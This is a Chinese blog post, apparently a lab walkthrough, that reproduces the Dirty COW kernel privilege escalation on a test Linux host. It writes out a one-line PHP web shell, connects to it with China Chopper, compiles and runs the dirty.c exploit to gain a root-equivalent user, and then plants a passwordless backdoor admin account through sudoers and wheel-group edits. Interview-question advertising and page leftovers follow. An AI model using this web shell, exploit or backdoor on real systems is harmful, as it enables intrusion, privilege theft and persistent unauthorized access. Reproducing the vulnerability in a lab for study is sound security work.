2024年运维最全Linux脏牛漏洞提权复现_脏牛文件编译命令


![](https://img-blog.csdnimg.cn/20210722201014528.png)


 关闭内核防火墙 



setenforce 0


![](https://img-blog.csdnimg.cn/20210722201311960.png)


 访问Web网站( 里面啥也没有,主要是为了测试漏洞 )


![](https://img-blog.csdnimg.cn/20210722201453900.png)



**第二步,上传木马,使用中国菜刀连接**


网站根目录上传木马文件( 这里直接写一个木马文件 ),内容为一句话木马,网站的默认根目录是/var/www/html目录



cd /var/www/html/


 ![](https://img-blog.csdnimg.cn/20210722201708395.png)



vim shell.php


 ![](https://img-blog.csdnimg.cn/20210722201831620.png)



<?php eval($_POST[-7]); ?>

![](https://img-blog.csdnimg.cn/20210722202049594.png)


 使用中国菜刀连接


![](https://img-blog.csdnimg.cn/20210722202545664.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbmd5dXhpYW5nOTQ2,size_16,color_FFFFFF,t_70)


![](https://img-blog.csdnimg.cn/2021072220264345.png)



#### 漏洞复现


**第三步,查看内核版本,上传对应的脏牛工具**


使用中国菜刀打开虚拟终端,使用id命令查看当前用户


![](https://img-blog.csdnimg.cn/20210722203019657.png)


 uname -a 查看Linux内核版本信息


![](https://img-blog.csdnimg.cn/20210722203144781.png)


 使用中国菜刀打开文件管理,上传脏牛工具到/tmp目录下,Linux只有tmp目录默认有上传和执行权限


![](https://img-blog.csdnimg.cn/20210722203635587.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbmd5dXhpYW5nOTQ2,size_16,color_FFFFFF,t_70)



**第四步,使用脏牛工具进行提权**


进入/tmp目录,编译脏牛工具( 上传的工具属于源码脚本,编译后才能执行)



gcc -pthread dirty.c -o dirty -lcrypt


 ![](https://img-blog.csdnimg.cn/20210722204346417.png)


 执行脏牛工具,执行文件即可,后面的数字是密码,可随便定义,



./dirty 123456


![](https://img-blog.csdnimg.cn/20210722204520341.png)


 提示执行超时以及命令执行失败,不用管,查看用户信息,脚本已经生效,firefart用户具有原本root用户的权限,密码为我们上一步设置的123456



cat /etc/passwd


![](https://img-blog.csdnimg.cn/20210722204857435.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbmd5dXhpYW5nOTQ2,size_16,color_FFFFFF,t_70)


 使用firefart用户进行远程连接( 此处使用Xshell工具进行连接 )



ssh firefart@192.168.145.130


![](https://img-blog.csdnimg.cn/20210722205541414.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbmd5dXhpYW5nOTQ2,size_16,color_FFFFFF,t_70)



**第五步,利用提升的权限创建后门用户**


还原/etc/passwd,使用脏牛工具备份的passwd.bak文件替换/etc/passwd文件



mv /tmp/passwd.bak /etc/passwd


![](https://img-blog.csdnimg.cn/20210722211552114.png)


wheel组为普通管理员组,默认不开启,利用这个wheel组来创建后门用户


修改/etc/sudoers配置文件,默认只读,需要添加修改权限



chmod u+w /etc/sudoers


![](https://img-blog.csdnimg.cn/2021072221090444.png)


 去除/etc/sudoers配置文件中105行的注释,使wheel组生效



vim /etc/sudoers


![](https://img-blog.csdnimg.cn/2021072221105962.png)



创建普通用户tom,并添加至wheel组,使其拥有管理员权限



useradd tom
passwd tom
gpasswd -a tom wheel


![](https://img-blog.csdnimg.cn/20210722211826810.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbmd5dXhpYW5nOTQ2,size_16,color_FFFFFF,t_70)


 低级用户切换高级用户需要高级用户的密码,而我们创建的后门用户不需要密码即可切换root用户



为了做好运维面试路上的助攻手,特整理了上百道 **【运维技术栈面试题集锦】** ,让你面试不慌心不跳,高薪offer怀里抱!

这次整理的面试题,**小到shell、MySQL,大到K8s等云原生技术栈,不仅适合运维新人入行面试需要,还适用于想提升进阶跳槽加薪的运维朋友。**

![](https://img-blog.csdnimg.cn/img_convert/e948c31714506a44d16f77202b08c992.png)

本份面试集锦涵盖了

*   **174 道运维工程师面试题**
*   **128道k8s面试题**
*   **108道shell脚本面试题**
*   **200道Linux面试题**
*   **51道docker面试题**
*   **35道Jenkis面试题**
*   **78道MongoDB面试题**
*   **17道ansible面试题**
*   **60道dubbo面试题**
*   **53道kafka面试**
*   **18道mysql面试题**
*   **40道nginx面试题**
*   **77道redis面试题**
*   **28道zookeeper**

**总计 1000+ 道面试题, 内容 又全含金量又高**

*   **174道运维工程师面试题**

> 1、什么是运维?

> 2、在工作中,运维人员经常需要跟运营人员打交道,请问运营人员是做什么工作的?

> 3、现在给你三百台服务器,你怎么对他们进行管理?

> 4、简述raid0 raid1raid5二种工作模式的工作原理及特点

> 5、LVS、Nginx、HAproxy有什么区别?工作中你怎么选择?

> 6、Squid、Varinsh和Nginx有什么区别,工作中你怎么选择?

> 7、Tomcat和Resin有什么区别,工作中你怎么选择?

> 8、什么是中间件?什么是jdk?

> 9、讲述一下Tomcat8005、8009、8080三个端口的含义?

> 10、什么叫CDN?

> 11、什么叫网站灰度发布?

> 12、简述DNS进行域名解析的过程?

> 13、RabbitMQ是什么东西?

> 14、讲一下Keepalived的工作原理?

> 15、讲述一下LVS三种模式的工作过程?

> 16、mysql的innodb如何定位锁问题,mysql如何减少主从复制延迟?

> 17、如何重置mysql root密码?

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化的资料的朋友,可以点击这里获取!](https://bbs.csdn.net/topics/618542503)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
、如何重置mysql root密码?

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化的资料的朋友,可以点击这里获取!](https://bbs.csdn.net/topics/618542503)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Linux系统中,有许多命令可以用于下载文件。以下是一些常用的Linux运维命令: 1. wget:wget命令是一个非常常用的下载工具,可以通过命令行从指定的URL下载文件。例如,要下载一个文件,可以使用以下命令:wget <文件URL>。 2. curl:curl命令也是一个常用的下载工具,可以从命令行下载文件。它不仅可以下载文件,还可以通过HTTP协议发送请求和接收响应。使用curl下载文件命令格式如下:curl -O <文件URL>。 3. scp:scp命令是用于在远程计算机之间传输文件命令,它使用SSH协议进行安传输。要从远程服务器下载文件,可以使用以下命令:scp <用户名@远程服务器地址:文件路径> <本地路径>。 4. rsync:rsync命令是一个功能强大的文件同步和备份工具,可以在本地和远程服务器之间同步文件。要从远程服务器下载文件,可以使用以下命令:rsync -avz <用户名@远程服务器地址:文件路径> <本地路径>。 5. ftp:ftp命令可以通过FTP协议在本地和远程计算机之间传输文件。要使用ftp下载文件,可以首先连接到远程服务器,然后使用get命令下载文件。例如,使用ftp下载文件命令序列如下: ftp <远程服务器地址> get <文件路径> 这些命令供了多种方式来下载文件,用户可以根据自己的需要选择合适的方法。无论是从远程服务器下载文件还是下载网站上的文件,这些命令都能够满足用户的需求。请根据具体场景选择适合的命令,以便完成文件下载任务。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值